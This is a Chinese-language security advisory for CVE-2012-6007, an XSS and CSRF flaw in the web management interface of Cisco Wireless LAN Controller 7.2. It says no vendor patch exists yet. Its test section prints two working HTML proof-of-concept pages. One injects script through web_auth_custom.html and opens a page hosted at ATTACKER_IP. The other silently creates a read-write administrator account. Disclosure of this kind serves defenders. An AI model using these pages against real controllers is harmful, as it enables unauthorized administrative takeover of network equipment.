发布日期：2012-12-13
更新日期：2012-12-15
受影响系统：
Cisco Wireless LAN Controller <= 7.2
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 56929
CVE(CAN) ID: CVE-2012-6007
Cisco WLC 负责全系统的无线LAN功能，例如安全策略、入侵保护、RF管理，服务质量和移动性。
Cisco Wireless LAN Controller 7.2及其他版本处理Web管理界面没有正确验证web_auth_custom.html脚本的用户输入，通过发送特制的HTTP POST请求到受影响目标系统，经过身份验证的远程攻击者可利用此漏洞执行跨站脚本攻击。
<*来源：Jacob Holcomb
链接：?alertId=27641
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
-CSRF/XSS-
File #1: ciscoWLC1.html
<html>
<title>Download</title>
<body>
<h1>LOADING...</h1>
<form action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >
<input type="hidden" value="1"/>
<input type="hidden" value="internal"/>
<input type="hidden" value=""/>
<input type="hidden" value="show"/>
<input type="hidden" value="HaXoReD<img+src=><script>alert(42)</script>>"/>
<input type="hidden" value="U+mAd?<img src=https://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/>
<input type="hidden" value=""/>
<input type="hidden" value="4"/>
<input type="hidden" value="0"/>
<input type="hidden" value="0"/>
<input type="hidden" value=""/>
</form>
<script>
function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)
</script>
</body>
</html>
File #2: ciscoWLC2.html
<html>
<title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title>
<body>
<form action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >
<input type="hidden" value="1"/>
<input type="hidden" value="Gimppy"/>
<input type="hidden" value="Pwnd123"/>
<input type="hidden" value="Pwnd123"/>
<input type="hidden" value="readwrite"/>
<input type="hidden" value="4"/>
</form>
<script>
document.ciscoCSRF.submit()
window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html
</script>
</body>
</html>
建议：
--------------------------------------------------------------------------------
厂商补丁：
Cisco
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：